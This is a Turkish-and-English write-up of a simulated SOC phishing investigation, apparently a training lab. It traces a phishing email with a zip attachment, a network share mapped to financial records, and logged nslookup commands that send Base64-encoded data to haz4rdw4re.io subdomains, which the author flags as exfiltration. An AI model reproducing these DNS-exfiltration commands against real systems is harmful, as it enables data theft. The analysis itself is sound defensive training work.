

# Phishing Unfolding

İREM GÜZEL  
01.03.2025

## İçindekiler Tablosu

Company Information.....	3
True Positive Alert .....	3
ID 1007 .....	3
ID 1023 .....	3
ID 1027 .....	4
ID 1029 .....	4
ID 1035 .....	5

## Company Information

Michael Ascot, CEO michael.ascot@tryhatme.com Logged-in host: win-3450

Sophie J, HR sophie.j@tryhatme.com Logged-in host: win-3461

Michelle Smith, Legal michelle.smith@tryhatme.com Logged-in host: win-3459

Roger Fedora, Marketing roger.fedora@tryhatme.com Logged-in host: win-3460

Yani Zubair, IT yani.zubair@tryhatme.com Logged-in host: win-3449

Miguel O'Donnell, Sales miguel.odonnell@tryhatme.com Logged-in host: win-3451

Cain Omoore, Sales cain.omoore@tryhatme.com Logged-in host: win-3452

Kyra Flores, Sales kyra.flores@tryhatme.com Logged-in host: win-3453

## True Positive Alert

### ID 1007

1007	Suspicious Attachment found in email	Low	Phishing	Mar 1st 2025 at 17:40	Awaiting action
Description:	A suspicious attachment was found in the email. Investigate further to determine if it is malicious.				
datasource:	emails				
timestamp:	03/01/2025 14:38:07.060				
subject:	Important: Pending Invoice!				
sender:	john@hatmakereurope.xyz				
recipient:	michael.ascot@tryhatme.com				
attachment:	ImportantInvoice-February.zip				
content:	The content of this email has been removed in accordance with privacy regulations and company security policies to protect sensitive information.				
direction:	inbound				

Sender : john@hatmakereurope.xyz

Domain : hatmakereurope.xyz

İlgili mail şirket dışından gelmiştir, .zip eki indirilemediği için Hash değeriyle bir sorgu yapılamıyor. Virüstotal sonuçları temiz gelse dahi ek'ten dolayı şüpheli bulunduğu için TP olarak işaretlendi.

### ID 1023

Senaryoyu 1023 ID'li alertten incelemeye başlayalım.Logda dikkat çeken kısım process.command\_line kısmı:

process.command\_line : "C:\Windows\system32\net.exe" use Z: \\FILESRV-01\SSF-FinancialRecords

1023	Network drive mapped to a local drive	Medium	Execution	Mar 1st 2025 at 19:14	Awaiting action	
Description:	A network drive was mapped to a local drive. Normally, this is not a cause for concern, but investigate further to determine if it is malicious.					
datasource:	sysmon					
timestamp:	03/01/2025 16:11:32.850					
event.code:	1					
host.name:	win-3450					
process.name:	net.exe					
process.pid:	5784					
process.parent.pid:	3728					
process.parent.name:	powershell.exe					
process.command_line:	"C:\Windows\system32\net.exe" use Z: \\FILESRV-01\SSF-FinancialRecords					
process.working_directory:	C:\Users\michael.ascot\downloads\					
event.action:	Process Create (rule: ProcessCreate)					

process.parent.name: powershell.exe

Powershell ile Z sürücüsüne ağ bağlantısı açılmış.Bu ağdan da SSF-FinancialRecords büyük ihtimalle finansal kayıtların olabileceği dosyanın paylaşımı yapılmış.

## ID 1027

1027	Suspicious Parent Child Relationship	High	Process	Mar 1st 2025 at 19:15	Awaiting action	
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.					
datasource:	sysmon					
timestamp:	03/01/2025 16:13:17.850					
event.code:	1					
host.name:	win-3450					
process.name:	nslookup.exe					
process.pid:	5520					
process.parent.pid:	3728					
process.parent.name:	powershell.exe					
process.command_line:	"C:\Windows\system32\nslookup.exe" UESDBBQAAAAIANigLlFVU3cdIgAAAL.haz4rdw4re.io					
process.working_directory:	C:\Users\michael.ascot\downloads\exfiltration\					
event.action:	Process Create (rule: ProcessCreate)					

## ID 1029

1029	Suspicious Parent Child Relationship	High	Process	Mar 1st 2025 at 19:15	Awaiting action	
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.					
datasource:	sysmon					
timestamp:	03/01/2025 16:13:17.850					
event.code:	1					
host.name:	win-3450					
process.name:	nslookup.exe					
process.pid:	5432					
process.parent.pid:	3728					
process.parent.name:	powershell.exe					
process.command_line:	"C:\Windows\system32\nslookup.exe" U3VtbWFyeSS4bHN4c87JTM0rCcgVKk.haz4rdw4re.io					
process.working_directory:	C:\Users\michael.ascot\downloads\exfiltration\					
event.action:	Process Create (rule: ProcessCreate)					

## ID 1035

1035	Suspicious Parent Child Relationship	High	Process	Mar 1st 2025 at 19:16	
<div><div>Description:</div><div>A suspicious process with an uncommon parent-child relationship was detected in your environment.</div><div>datasource:</div><div>sysmon</div><div>timestamp:</div><div>03/01/2025 16:13:33.850</div><div>event.code:</div><div>1</div><div>host.name:</div><div>win-3450</div><div>process.name:</div><div>nslookup.exe</div><div>process.pid:</div><div>3700</div><div>process.parent.pid:</div><div>3728</div><div>process.parent.name:</div><div>powershell.exe</div><div>process.command_line:</div><div>"C:\Windows\system32\nslookup.exe" VEHNezE0OTczMjFmNGY2ZjA1OWE1Mm.haz4rdw4re.io</div><div>process.working_directory:</div><div>C:\Users\michael.ascot\downloads\</div><div>event.action:</div><div>Process Create (rule: ProcessCreate)</div></div>					

ID 1023 – 1035 arasında Powershell ile nslookup.exe çalıştırılmış. İlgili işlemlerle birçok kez domain sorgulaması yapılıyor.

1036	Suspicious Parent Child Relationship	High	Process	Mar 1st 2025 at 19:16	Awaiting action
<div><div>Description:</div><div>A suspicious process with an uncommon parent-child relationship was detected in your environment.</div><div>datasource:</div><div>sysmon</div><div>timestamp:</div><div>03/01/2025 16:13:33.850</div><div>event.code:</div><div>1</div><div>host.name:</div><div>win-3450</div><div>process.name:</div><div>nslookup.exe</div><div>process.pid:</div><div>3648</div><div>process.parent.pid:</div><div>3728</div><div>process.parent.name:</div><div>powershell.exe</div><div>process.command_line:</div><div>"C:\Windows\system32\nslookup.exe" RmYfEyNGZlMTY1NjZlQ==.haz4rdw4re.io</div><div>process.working_directory:</div><div>C:\Users\michael.ascot\downloads\</div><div>event.action:</div><div>Process Create (rule: ProcessCreate)</div></div>					

Bu alertte nslookup.exe nin Base64 ile şifrelenmiş bir domain ile iletişime geçtiği ve veri sızdırdığı düşünülmektedir.